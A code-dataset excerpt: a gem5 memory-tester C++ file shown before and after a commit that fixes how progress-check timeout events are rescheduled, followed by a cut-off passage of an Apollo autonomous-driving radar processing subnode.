IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR\n * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT\n * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,\n * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY\n * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n *\n * Authors: Erik Hallnor\n * Steve Reinhardt\n * Andreas Hansson\n *\/\n\n#include \"cpu\/testers\/memtest\/memtest.hh\"\n\n#include \"base\/random.hh\"\n#include \"base\/statistics.hh\"\n#include \"base\/trace.hh\"\n#include \"debug\/MemTest.hh\"\n#include \"sim\/sim_exit.hh\"\n#include \"sim\/stats.hh\"\n#include \"sim\/system.hh\"\n\nusing namespace std;\n\nunsigned int TESTER_ALLOCATOR = 0;\n\nbool\nMemTest::CpuPort::recvTimingResp(PacketPtr pkt)\n{\n memtest.completeRequest(pkt);\n return true;\n}\n\nvoid\nMemTest::CpuPort::recvReqRetry()\n{\n memtest.recvRetry();\n}\n\nbool\nMemTest::sendPkt(PacketPtr pkt) {\n if (atomic) {\n port.sendAtomic(pkt);\n completeRequest(pkt);\n } else {\n if (!port.sendTimingReq(pkt)) {\n retryPkt = pkt;\n return false;\n }\n }\n return true;\n}\n\nMemTest::MemTest(const Params *p)\n : ClockedObject(p),\n tickEvent([this]{ tick(); }, name()),\n noRequestEvent([this]{ noRequest(); }, name()),\n noResponseEvent([this]{ noResponse(); }, name()),\n port(\"port\", *this),\n retryPkt(nullptr),\n size(p->size),\n interval(p->interval),\n percentReads(p->percent_reads),\n percentFunctional(p->percent_functional),\n percentUncacheable(p->percent_uncacheable),\n masterId(p->system->getMasterId(this)),\n blockSize(p->system->cacheLineSize()),\n blockAddrMask(blockSize - 1),\n progressInterval(p->progress_interval),\n progressCheck(p->progress_check),\n nextProgressMessage(p->progress_interval),\n maxLoads(p->max_loads),\n atomic(p->system->isAtomicMode()),\n suppressFuncWarnings(p->suppress_func_warnings)\n{\n id = TESTER_ALLOCATOR++;\n fatal_if(id >= blockSize, \"Too many testers, only %d allowed\\n\",\n blockSize - 1);\n\n baseAddr1 = 0x100000;\n baseAddr2 = 0x400000;\n uncacheAddr = 0x800000;\n\n \/\/ set up counters\n numReads = 0;\n numWrites = 0;\n\n \/\/ kick things into action\n schedule(tickEvent, curTick());\n schedule(noRequestEvent, clockEdge(progressCheck));\n schedule(noResponseEvent, clockEdge(progressCheck));\n}\n\nPort &\nMemTest::getPort(const std::string &if_name, PortID idx)\n{\n if (if_name == \"port\")\n return port;\n else\n return ClockedObject::getPort(if_name, idx);\n}\n\nvoid\nMemTest::completeRequest(PacketPtr pkt, bool functional)\n{\n const RequestPtr &req = pkt->req;\n assert(req->getSize() == 1);\n\n \/\/ this address is no longer outstanding\n auto remove_addr = outstandingAddrs.find(req->getPaddr());\n assert(remove_addr != outstandingAddrs.end());\n outstandingAddrs.erase(remove_addr);\n\n DPRINTF(MemTest, \"Completing %s at address %x (blk %x) %s\\n\",\n pkt->isWrite() ? \"write\" : \"read\",\n req->getPaddr(), blockAlign(req->getPaddr()),\n pkt->isError() ? \"error\" : \"success\");\n\n const uint8_t *pkt_data = pkt->getConstPtr<uint8_t>();\n\n if (pkt->isError()) {\n if (!functional || !suppressFuncWarnings) {\n warn(\"%s access failed at %#x\\n\",\n pkt->isWrite() ? \"Write\" : \"Read\", req->getPaddr());\n }\n } else {\n if (pkt->isRead()) {\n uint8_t ref_data = referenceData[req->getPaddr()];\n if (pkt_data[0] != ref_data) {\n panic(\"%s: read of %x (blk %x) @ cycle %d \"\n \"returns %x, expected %x\\n\", name(),\n req->getPaddr(), blockAlign(req->getPaddr()), curTick(),\n pkt_data[0], ref_data);\n }\n\n numReads++;\n numReadsStat++;\n\n if (numReads == (uint64_t)nextProgressMessage) {\n ccprintf(cerr, \"%s: completed %d read, %d write accesses @%d\\n\",\n name(), numReads, numWrites, curTick());\n nextProgressMessage += progressInterval;\n }\n\n if (maxLoads != 0 && numReads >= maxLoads)\n exitSimLoop(\"maximum number of loads reached\");\n } else {\n assert(pkt->isWrite());\n\n \/\/ update the reference data\n referenceData[req->getPaddr()] = pkt_data[0];\n numWrites++;\n numWritesStat++;\n }\n }\n\n \/\/ the packet will delete the data\n delete pkt;\n\n \/\/ finally shift the response timeout forward\n reschedule(noResponseEvent, clockEdge(progressCheck), true);\n}\n\nvoid\nMemTest::regStats()\n{\n ClockedObject::regStats();\n\n using namespace Stats;\n\n numReadsStat\n .name(name() + \".num_reads\")\n .desc(\"number of read accesses completed\")\n ;\n\n numWritesStat\n .name(name() + \".num_writes\")\n .desc(\"number of write accesses completed\")\n ;\n}\n\nvoid\nMemTest::tick()\n{\n \/\/ we should never tick if we are waiting for a retry\n assert(!retryPkt);\n\n \/\/ create a new request\n unsigned cmd = random_mt.random(0, 100);\n uint8_t data = random_mt.random<uint8_t>();\n bool uncacheable = random_mt.random(0, 100) < percentUncacheable;\n unsigned base = random_mt.random(0, 1);\n Request::Flags flags;\n Addr paddr;\n\n \/\/ generate a unique address\n do {\n unsigned offset = random_mt.random<unsigned>(0, size - 1);\n\n \/\/ use the tester id as offset within the block for false sharing\n offset = blockAlign(offset);\n offset += id;\n\n if (uncacheable) {\n flags.set(Request::UNCACHEABLE);\n paddr = uncacheAddr + offset;\n } else {\n paddr = ((base) ? baseAddr1 : baseAddr2) + offset;\n }\n } while (outstandingAddrs.find(paddr) != outstandingAddrs.end());\n\n bool do_functional = (random_mt.random(0, 100) < percentFunctional) &&\n !uncacheable;\n RequestPtr req = std::make_shared<Request>(paddr, 1, flags, masterId);\n req->setContext(id);\n\n outstandingAddrs.insert(paddr);\n\n \/\/ sanity check\n panic_if(outstandingAddrs.size() > 100,\n \"Tester %s has more than 100 outstanding requests\\n\", name());\n\n PacketPtr pkt = nullptr;\n uint8_t *pkt_data = new uint8_t[1];\n\n if (cmd < percentReads) {\n \/\/ start by ensuring there is a reference value if we have not\n \/\/ seen this address before\n uint8_t M5_VAR_USED ref_data = 0;\n auto ref = referenceData.find(req->getPaddr());\n if (ref == referenceData.end()) {\n referenceData[req->getPaddr()] = 0;\n } else {\n ref_data = ref->second;\n }\n\n DPRINTF(MemTest,\n \"Initiating %sread at addr %x (blk %x) expecting %x\\n\",\n do_functional ? \"functional \" : \"\", req->getPaddr(),\n blockAlign(req->getPaddr()), ref_data);\n\n pkt = new Packet(req, MemCmd::ReadReq);\n pkt->dataDynamic(pkt_data);\n } else {\n DPRINTF(MemTest, \"Initiating %swrite at addr %x (blk %x) value %x\\n\",\n do_functional ? \"functional \" : \"\", req->getPaddr(),\n blockAlign(req->getPaddr()), data);\n\n pkt = new Packet(req, MemCmd::WriteReq);\n pkt->dataDynamic(pkt_data);\n pkt_data[0] = data;\n }\n\n \/\/ there is no point in ticking if we are waiting for a retry\n bool keep_ticking = true;\n if (do_functional) {\n pkt->setSuppressFuncError();\n port.sendFunctional(pkt);\n completeRequest(pkt, true);\n } else {\n keep_ticking = sendPkt(pkt);\n }\n\n if (keep_ticking) {\n \/\/ schedule the next tick\n schedule(tickEvent, clockEdge(interval));\n\n \/\/ finally shift the timeout for sending of requests forwards\n \/\/ as we have successfully sent a packet\n reschedule(noRequestEvent, clockEdge(progressCheck), true);\n } else {\n DPRINTF(MemTest, \"Waiting for retry\\n\");\n }\n}\n\nvoid\nMemTest::noRequest()\n{\n panic(\"%s did not send a request for %d cycles\", name(), progressCheck);\n}\n\nvoid\nMemTest::noResponse()\n{\n panic(\"%s did not see a response for %d cycles\", name(), progressCheck);\n}\n\nvoid\nMemTest::recvRetry()\n{\n assert(retryPkt);\n if (port.sendTimingReq(retryPkt)) {\n DPRINTF(MemTest, \"Proceeding after successful retry\\n\");\n\n retryPkt = nullptr;\n \/\/ kick things into action again\n schedule(tickEvent, clockEdge(interval));\n }\n}\n\nMemTest *\nMemTestParams::create()\n{\n return new MemTest(this);\n}\n<commit_msg>cpu: Fix rescheduling of progress check events<commit_after>\/*\n * Copyright (c) 2015, 2019 ARM Limited\n * All rights reserved\n *\n * The license below extends only to copyright in the software and shall\n * not be construed as granting a license to any other intellectual\n * property including but not limited to intellectual property relating\n * to a hardware implementation of the functionality of the software\n * licensed hereunder. You may use the software subject to the license\n * terms below provided that you ensure that this notice is replicated\n * unmodified and in its entirety in all distributions of the software,\n * modified or unmodified, in source code or in binary form.\n *\n * Copyright (c) 2002-2005 The Regents of The University of Michigan\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions are\n * met: redistributions of source code must retain the above copyright\n * notice, this list of conditions and the following disclaimer;\n * redistributions in binary form must reproduce the above copyright\n * notice, this list of conditions and the following disclaimer in the\n * documentation and\/or other materials provided with the distribution;\n * neither the name of the copyright holders nor the names of its\n * contributors may be used to endorse or promote products derived from\n * this software without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n * \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR\n * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT\n * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,\n * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY\n * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n *\n * Authors: Erik Hallnor\n * Steve Reinhardt\n * Andreas Hansson\n *\/\n\n#include \"cpu\/testers\/memtest\/memtest.hh\"\n\n#include \"base\/random.hh\"\n#include \"base\/statistics.hh\"\n#include \"base\/trace.hh\"\n#include \"debug\/MemTest.hh\"\n#include \"sim\/sim_exit.hh\"\n#include \"sim\/stats.hh\"\n#include \"sim\/system.hh\"\n\nusing namespace std;\n\nunsigned int TESTER_ALLOCATOR = 0;\n\nbool\nMemTest::CpuPort::recvTimingResp(PacketPtr pkt)\n{\n memtest.completeRequest(pkt);\n return true;\n}\n\nvoid\nMemTest::CpuPort::recvReqRetry()\n{\n memtest.recvRetry();\n}\n\nbool\nMemTest::sendPkt(PacketPtr pkt) {\n if (atomic) {\n port.sendAtomic(pkt);\n completeRequest(pkt);\n } else {\n if (!port.sendTimingReq(pkt)) {\n retryPkt = pkt;\n return false;\n }\n }\n return true;\n}\n\nMemTest::MemTest(const Params *p)\n : ClockedObject(p),\n tickEvent([this]{ tick(); }, name()),\n noRequestEvent([this]{ noRequest(); }, name()),\n noResponseEvent([this]{ noResponse(); }, name()),\n port(\"port\", *this),\n retryPkt(nullptr),\n size(p->size),\n interval(p->interval),\n percentReads(p->percent_reads),\n percentFunctional(p->percent_functional),\n percentUncacheable(p->percent_uncacheable),\n masterId(p->system->getMasterId(this)),\n blockSize(p->system->cacheLineSize()),\n blockAddrMask(blockSize - 1),\n progressInterval(p->progress_interval),\n progressCheck(p->progress_check),\n nextProgressMessage(p->progress_interval),\n maxLoads(p->max_loads),\n atomic(p->system->isAtomicMode()),\n suppressFuncWarnings(p->suppress_func_warnings)\n{\n id = TESTER_ALLOCATOR++;\n fatal_if(id >= blockSize, \"Too many testers, only %d allowed\\n\",\n blockSize - 1);\n\n baseAddr1 = 0x100000;\n baseAddr2 = 0x400000;\n uncacheAddr = 0x800000;\n\n \/\/ set up counters\n numReads = 0;\n numWrites = 0;\n\n \/\/ kick things into action\n schedule(tickEvent, curTick());\n schedule(noRequestEvent, clockEdge(progressCheck));\n}\n\nPort &\nMemTest::getPort(const std::string &if_name, PortID idx)\n{\n if (if_name == \"port\")\n return port;\n else\n return ClockedObject::getPort(if_name, idx);\n}\n\nvoid\nMemTest::completeRequest(PacketPtr pkt, bool functional)\n{\n const RequestPtr &req = pkt->req;\n assert(req->getSize() == 1);\n\n \/\/ this address is no longer outstanding\n auto remove_addr = outstandingAddrs.find(req->getPaddr());\n assert(remove_addr != outstandingAddrs.end());\n outstandingAddrs.erase(remove_addr);\n\n DPRINTF(MemTest, \"Completing %s at address %x (blk %x) %s\\n\",\n pkt->isWrite() ? \"write\" : \"read\",\n req->getPaddr(), blockAlign(req->getPaddr()),\n pkt->isError() ? \"error\" : \"success\");\n\n const uint8_t *pkt_data = pkt->getConstPtr<uint8_t>();\n\n if (pkt->isError()) {\n if (!functional || !suppressFuncWarnings) {\n warn(\"%s access failed at %#x\\n\",\n pkt->isWrite() ? \"Write\" : \"Read\", req->getPaddr());\n }\n } else {\n if (pkt->isRead()) {\n uint8_t ref_data = referenceData[req->getPaddr()];\n if (pkt_data[0] != ref_data) {\n panic(\"%s: read of %x (blk %x) @ cycle %d \"\n \"returns %x, expected %x\\n\", name(),\n req->getPaddr(), blockAlign(req->getPaddr()), curTick(),\n pkt_data[0], ref_data);\n }\n\n numReads++;\n numReadsStat++;\n\n if (numReads == (uint64_t)nextProgressMessage) {\n ccprintf(cerr, \"%s: completed %d read, %d write accesses @%d\\n\",\n name(), numReads, numWrites, curTick());\n nextProgressMessage += progressInterval;\n }\n\n if (maxLoads != 0 && numReads >= maxLoads)\n exitSimLoop(\"maximum number of loads reached\");\n } else {\n assert(pkt->isWrite());\n\n \/\/ update the reference data\n referenceData[req->getPaddr()] = pkt_data[0];\n numWrites++;\n numWritesStat++;\n }\n }\n\n \/\/ the packet will delete the data\n delete pkt;\n\n \/\/ finally shift the response timeout forward if we are still\n \/\/ expecting responses; deschedule it otherwise\n if (outstandingAddrs.size() != 0)\n reschedule(noResponseEvent, clockEdge(progressCheck));\n else if (noResponseEvent.scheduled())\n deschedule(noResponseEvent);\n}\n\nvoid\nMemTest::regStats()\n{\n ClockedObject::regStats();\n\n using namespace Stats;\n\n numReadsStat\n .name(name() + \".num_reads\")\n .desc(\"number of read accesses completed\")\n ;\n\n numWritesStat\n .name(name() + \".num_writes\")\n .desc(\"number of write accesses completed\")\n ;\n}\n\nvoid\nMemTest::tick()\n{\n \/\/ we should never tick if we are waiting for a retry\n assert(!retryPkt);\n\n \/\/ create a new request\n unsigned cmd = random_mt.random(0, 100);\n uint8_t data = random_mt.random<uint8_t>();\n bool uncacheable = random_mt.random(0, 100) < percentUncacheable;\n unsigned base = random_mt.random(0, 1);\n Request::Flags flags;\n Addr paddr;\n\n \/\/ generate a unique address\n do {\n unsigned offset = random_mt.random<unsigned>(0, size - 1);\n\n \/\/ use the tester id as offset within the block for false sharing\n offset = blockAlign(offset);\n offset += id;\n\n if (uncacheable) {\n flags.set(Request::UNCACHEABLE);\n paddr = uncacheAddr + offset;\n } else {\n paddr = ((base) ? baseAddr1 : baseAddr2) + offset;\n }\n } while (outstandingAddrs.find(paddr) != outstandingAddrs.end());\n\n bool do_functional = (random_mt.random(0, 100) < percentFunctional) &&\n !uncacheable;\n RequestPtr req = std::make_shared<Request>(paddr, 1, flags, masterId);\n req->setContext(id);\n\n outstandingAddrs.insert(paddr);\n\n \/\/ sanity check\n panic_if(outstandingAddrs.size() > 100,\n \"Tester %s has more than 100 outstanding requests\\n\", name());\n\n PacketPtr pkt = nullptr;\n uint8_t *pkt_data = new uint8_t[1];\n\n if (cmd < percentReads) {\n \/\/ start by ensuring there is a reference value if we have not\n \/\/ seen this address before\n uint8_t M5_VAR_USED ref_data = 0;\n auto ref = referenceData.find(req->getPaddr());\n if (ref == referenceData.end()) {\n referenceData[req->getPaddr()] = 0;\n } else {\n ref_data = ref->second;\n }\n\n DPRINTF(MemTest,\n \"Initiating %sread at addr %x (blk %x) expecting %x\\n\",\n do_functional ? \"functional \" : \"\", req->getPaddr(),\n blockAlign(req->getPaddr()), ref_data);\n\n pkt = new Packet(req, MemCmd::ReadReq);\n pkt->dataDynamic(pkt_data);\n } else {\n DPRINTF(MemTest, \"Initiating %swrite at addr %x (blk %x) value %x\\n\",\n do_functional ? \"functional \" : \"\", req->getPaddr(),\n blockAlign(req->getPaddr()), data);\n\n pkt = new Packet(req, MemCmd::WriteReq);\n pkt->dataDynamic(pkt_data);\n pkt_data[0] = data;\n }\n\n \/\/ there is no point in ticking if we are waiting for a retry\n bool keep_ticking = true;\n if (do_functional) {\n pkt->setSuppressFuncError();\n port.sendFunctional(pkt);\n completeRequest(pkt, true);\n } else {\n keep_ticking = sendPkt(pkt);\n }\n\n if (keep_ticking) {\n \/\/ schedule the next tick\n schedule(tickEvent, clockEdge(interval));\n\n \/\/ finally shift the timeout for sending of requests forwards\n \/\/ as we have successfully sent a packet\n reschedule(noRequestEvent, clockEdge(progressCheck), true);\n } else {\n DPRINTF(MemTest, \"Waiting for retry\\n\");\n }\n\n \/\/ Schedule noResponseEvent now if we are expecting a response\n if (!noResponseEvent.scheduled() && (outstandingAddrs.size() != 0))\n schedule(noResponseEvent, clockEdge(progressCheck));\n}\n\nvoid\nMemTest::noRequest()\n{\n panic(\"%s did not send a request for %d cycles\", name(), progressCheck);\n}\n\nvoid\nMemTest::noResponse()\n{\n panic(\"%s did not see a response for %d cycles\", name(), progressCheck);\n}\n\nvoid\nMemTest::recvRetry()\n{\n assert(retryPkt);\n if (port.sendTimingReq(retryPkt)) {\n DPRINTF(MemTest, \"Proceeding after successful retry\\n\");\n\n retryPkt = nullptr;\n \/\/ kick things into action again\n schedule(tickEvent, clockEdge(interval));\n reschedule(noRequestEvent, clockEdge(progressCheck), true);\n }\n}\n\nMemTest *\nMemTestParams::create()\n{\n return new MemTest(this);\n}\n<|endoftext|>"} {"text":"<commit_before>\/******************************************************************************\n * Copyright 2017 The Apollo Authors. All Rights Reserved.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *****************************************************************************\/\n\n#include \"modules\/perception\/obstacle\/onboard\/radar_process_subnode.h\"\n\n#include <string>\n#include <unordered_map>\n#include <algorithm>\n#include \"Eigen\/Core\"\n#include \"eigen_conversions\/eigen_msg.h\"\n#include \"pcl_conversions\/pcl_conversions.h\"\n#include \"ros\/include\/ros\/ros.h\"\n\n#include \"modules\/common\/adapters\/adapter_manager.h\"\n#include \"modules\/common\/log.h\"\n#include \"modules\/common\/time\/time_util.h\"\n#include \"modules\/common\/time\/timer.h\"\n#include \"modules\/perception\/common\/perception_gflags.h\"\n#include \"modules\/perception\/lib\/config_manager\/calibration_config_manager.h\"\n#include \"modules\/perception\/lib\/config_manager\/config_manager.h\"\n#include \"modules\/perception\/obstacle\/base\/object.h\"\n#include \"modules\/perception\/obstacle\/radar\/dummy\/dummy_algorithms.h\"\n#include \"modules\/perception\/onboard\/subnode_helper.h\"\n#include \"modules\/perception\/onboard\/transform_input.h\"\n\nnamespace apollo {\nnamespace perception {\n\nusing apollo::common::adapter::AdapterManager;\nusing pcl_util::Point;\nusing pcl_util::PointD;\nusing Eigen::Matrix4d;\nusing Eigen::Affine3d;\nusing std::string;\nusing std::unordered_map;\n\nbool RadarProcessSubnode::InitInternal() {\n if (inited_) {\n return true;\n }\n\n RegistAllAlgorithm();\n\n if (!InitFrameDependence()) {\n AERROR << \"failed to Init frame dependence.\";\n return false;\n }\n\n if (!InitAlgorithmPlugin()) {\n AERROR << \"failed to Init algorithm plugin.\";\n return false;\n }\n \/\/ parse reserve fileds\n unordered_map<string, string> reserve_field_map;\n if (!SubnodeHelper::ParseReserveField(reserve_, &reserve_field_map)) {\n AERROR << \"Failed to parse reserve filed: \" << reserve_;\n return false;\n }\n\n if (reserve_field_map.find(\"device_id\") == reserve_field_map.end()) {\n AERROR << \"Failed to find field device_id, reserve: \" << reserve_;\n return false;\n }\n device_id_ = reserve_field_map[\"device_id\"];\n\n CHECK(AdapterManager::GetContiRadar()) << \"Radar is not initialized.\";\n AdapterManager::AddContiRadarCallback(&RadarProcessSubnode::OnRadar, this);\n CHECK(AdapterManager::GetLocalization()) << \"Localiztion is not initialized.\";\n AdapterManager::AddLocalizationCallback(&RadarProcessSubnode::OnLocalization,\n this);\n localization_buffer_.set_capacity(FLAGS_localization_buffer_size);\n std::string radar_extrinstic_path = FLAGS_radar_extrinsic_file;\n AINFO << \"radar extrinsic path: \" << radar_extrinstic_path;\n Eigen::Affine3d radar_extrinsic;\n if (!LoadExtrinsic(radar_extrinstic_path, &radar_extrinsic)) {\n AERROR << \"Failed to load extrinsic.\";\n return false;\n }\n radar_extrinsic_ = radar_extrinsic.matrix();\n AINFO << \"get radar extrinsic succ. pose: \\n\" << radar_extrinsic_;\n\n std::string short_camera_extrinsic_path = FLAGS_short_camera_extrinsic_file;\n AINFO << \"short camera extrinsic path: \" << short_camera_extrinsic_path;\n Eigen::Affine3d short_camera_extrinsic;\n if (!LoadExtrinsic(short_camera_extrinsic_path, &short_camera_extrinsic)) {\n AERROR << \"Failed to load extrinsic.\";\n return false;\n }\n short_camera_extrinsic_ = short_camera_extrinsic.matrix();\n AINFO << \"get short camera extrinsic succ. pose: \\n\"\n << short_camera_extrinsic_;\n inited_ = true;\n\n return true;\n}\n\nvoid RadarProcessSubnode::OnRadar(const ContiRadar &radar_obs) {\n PERF_FUNCTION(\"RadarProcess\");\n ContiRadar radar_obs_proto = radar_obs;\n double timestamp = radar_obs_proto.header().timestamp_sec();\n double unix_timestamp = timestamp;\n const double cur_time = common::time::Clock::NowInSeconds();\n const double start_latency = (cur_time - unix_timestamp) * 1e3;\n AINFO << \"FRAME_STATISTICS:Radar:Start:msg_time[\" << GLOG_TIMESTAMP(timestamp)\n << \"]:cur_time[\" << GLOG_TIMESTAMP(cur_time) << \"]:cur_latency[\"\n << start_latency << \"]\";\n \/\/ 0. correct radar timestamp\n timestamp -= 0.07;\n auto *header = radar_obs_proto.mutable_header();\n header->set_timestamp_sec(timestamp);\n header->set_radar_timestamp(timestamp * 1e9);\n\n conti_id_expansion_.UpdateTimestamp(timestamp);\n conti_id_expansion_.ExpandIds(&radar_obs_proto);\n\n if (fabs(timestamp - 0.0) < 10e-6) {\n AERROR << \"Error timestamp: \" << GLOG_TIMESTAMP(timestamp);\n return;\n }\n ADEBUG << \"recv radar msg: [timestamp: \" << GLOG_TIMESTAMP(timestamp)\n << \" num_raw_obstacles: \" << radar_obs_proto.contiobs_size() << \"]\";\n\n \/\/ 1. get radar pose\n std::shared_ptr<Matrix4d> velodyne2world_pose = std::make_shared<Matrix4d>();\n\n ADEBUG << \"use navigation mode \" << FLAGS_use_navigation_mode;\n\n if (!GetVelodyneTrans(timestamp, velodyne2world_pose.get()) &&\n !FLAGS_use_navigation_mode) {\n AERROR << \"Failed to get trans at timestamp: \" << GLOG_TIMESTAMP(timestamp);\n error_code_ = common::PERCEPTION_ERROR_TF;\n return;\n }\n std::shared_ptr<Matrix4d> radar2world_pose = std::make_shared<Matrix4d>();\n std::shared_ptr<Matrix4d> radar2car_pose = std::make_shared<Matrix4d>();\n\n if (!FLAGS_use_navigation_mode) {\n *radar2world_pose =\n *velodyne2world_pose * short_camera_extrinsic_ * radar_extrinsic_;\n AINFO << \"get radar trans pose succ. pose: \\n\" << *radar2world_pose;\n\n } else {\n CalibrationConfigManager *config_manager =\n Singleton<CalibrationConfigManager>::get();\n CameraCalibrationPtr calibrator = config_manager->get_camera_calibration();\n Eigen::Matrix4d camera_to_car = calibrator->get_camera_extrinsics();\n *radar2car_pose = radar_extrinsic_;\n AINFO << \"get radar trans pose succ. pose: \\n\" << *radar2car_pose;\n }\n\n std::vector<PolygonDType> map_polygons;\n RadarDetectorOptions options;\n \/\/ Current Localiztion, radar postion.\n if (!FLAGS_use_navigation_mode) {\n PointD position;\n position.x = (*radar2world_pose)(0, 3);\n position.y = (*radar2world_pose)(1, 3);\n position.z = (*radar2world_pose)(2, 3);\n \/\/ 2. Get map polygons.\n HdmapStructPtr hdmap(new HdmapStruct);\n if (FLAGS_enable_hdmap_input && hdmap_input_ &&\n !hdmap_input_->GetROI(position, FLAGS_front_radar_forward_distance,\n &hdmap)) {\n AWARN << \"Failed to get roi. timestamp: \" << GLOG_TIMESTAMP(timestamp)\n << \" position: [\" << position.x << \", \" << position.y << \", \"\n << position.z << \"]\";\n \/\/ NOTE: if call hdmap failed, using empty map_polygons.\n }\n\n if (roi_filter_ != nullptr) {\n roi_filter_->MergeHdmapStructToPolygons(hdmap, &map_polygons);\n }\n }\n\n \/\/ 3. get car car_linear_speed\n if (!GetCarLinearSpeed(timestamp, &(options.car_linear_speed))) {\n AERROR << \"Failed to call get_car_linear_speed. [timestamp: \"\n << GLOG_TIMESTAMP(timestamp);\n return;\n }\n\n \/\/ 4. Call RadarDetector::detect.\n PERF_BLOCK_START();\n if (!FLAGS_use_navigation_mode) {\n options.radar2world_pose = &(*radar2world_pose);\n } else {\n options.radar2world_pose = &(*radar2car_pose);\n }\n std::shared_ptr<SensorObjects> radar_objects(new SensorObjects);\n radar_objects->timestamp = timestamp;\n radar_objects->sensor_type = SensorType::RADAR;\n radar_objects->sensor2world_pose = *radar2world_pose;\n bool result = radar_detector_->Detect(radar_obs_proto, map_polygons, options,\n &radar_objects->objects);\n if (!result) {\n radar_objects->error_code = common::PERCEPTION_ERROR_PROCESS;\n PublishDataAndEvent(timestamp, radar_objects);\n AERROR << \"Failed to call RadarDetector. [timestamp: \"\n << GLOG_TIMESTAMP(timestamp)\n << \", map_polygons_size: \" << map_polygons.size()\n << \", num_raw_conti_obstacles: \" << radar_obs_proto.contiobs_size()\n << \"]\";\n return;\n }\n PERF_BLOCK_END(\"radar_detect\");\n PublishDataAndEvent(timestamp, radar_objects);\n\n const double end_timestamp = common::time::Clock::NowInSeconds();\n const double end_latency = (end_timestamp - unix_timestamp) * 1e3;\n AINFO << \"FRAME_STATISTICS:Radar:End:msg_time[\" << GLOG_TIMESTAMP(timestamp)\n << \"]:cur_time[\" << GLOG_TIMESTAMP(end_timestamp) << \"]:cur_latency[\"\n << end_latency << \"]\";\n ADEBUG << \"radar process succ, there are \" << (radar_objects->objects).size()\n << \" objects.\";\n return;\n}\n\nvoid RadarProcessSubnode::OnLocalization(\n const apollo::localization::LocalizationEstimate &localization) {\n double timestamp = localization.header().timestamp_sec();\n AINFO << \"localization timestamp:\" << GLOG_TIMESTAMP(timestamp);\n LocalizationPair localization_pair;\n localization_pair.first = timestamp;\n localization_pair.second = localization;\n localization_buffer_.push_back(localization_pair);\n}\n\nbool RadarProcessSubnode::GetCarLinearSpeed(double timestamp,\n Eigen::Vector3f *car_linear_speed) {\n MutexLock lock(&mutex_);\n if (car_linear_speed == nullptr) {\n AERROR << \"Param car_linear_speed nullptr error.\";\n return false;\n }\n if (localization_buffer_.empty()) {\n AWARN << \"Rosmsg buffer is empty.\";\n return false;\n }\n if (localization_buffer_.front().first - 0.1 > timestamp) {\n AWARN << \"Timestamp (\" << GLOG_TIMESTAMP(timestamp)\n << \") is earlier than the oldest \"\n << \"timestamp (\" << localization_buffer_.front().first << \").\";\n return false;\n }\n if (localization_buffer_.back().first + 0.1 < timestamp) {\n AWARN << \"Timestamp (\" << GLOG_TIMESTAMP(timestamp)\n << \") is newer than the latest \"\n << \"timestamp (\" << localization_buffer_.back().first << \").\";\n return false;\n }\n \/\/ loop to find nearest\n double distance = 1e9;\n int idx = localization_buffer_.size() - 1;\n for (; idx >= 0; --idx) {\n double temp_distance = fabs(timestamp - localization_buffer_[idx].first);\n if (temp_distance >= distance) {\n break;\n }\n distance = temp_distance;\n }\n\n idx = std::max(0, idx);\n auto velocity =\n localization_buffer_[idx].second.pose().linear_velocity();\n (*car_linear_speed)[0] = velocity.x();\n (*car_linear_speed)[1] = velocity.y();\n (*car_linear_speed)[2] = velocity.z();\n return true;\n}\n\nvoid RadarProcessSubnode::RegistAllAlgorithm() {\n RegisterFactoryDummyRadarDetector();\n RegisterFactoryModestRadarDetector();\n}\n\nbool RadarProcessSubnode::InitFrameDependence() {\n \/\/\/ init share data\n CHECK(shared_data_manager_ != nullptr) << \"shared_data_manager_ is nullptr\";\n \/\/ init preprocess_data\n const string radar_data_name(\"RadarObjectData\");\n radar_data_ = dynamic_cast<RadarObjectData *>(\n shared_data_manager_->GetSharedData(radar_data_name));\n if (radar_data_ == nullptr) {\n AERROR << \"Failed to get shared data instance \" << radar_data_name;\n return false;\n }\n AINFO << \"Init shared data successfully, data: \" << radar_data_->name();\n\n \/\/\/ init hdmap\n if (FLAGS_enable_hdmap_input) {\n hdmap_input_ = HDMapInput::instance();\n if (!hdmap_input_) {\n AERROR << \"Failed to get HDMapInput instance.\";\n return false;\n }\n if (!hdmap_input_->Init()) 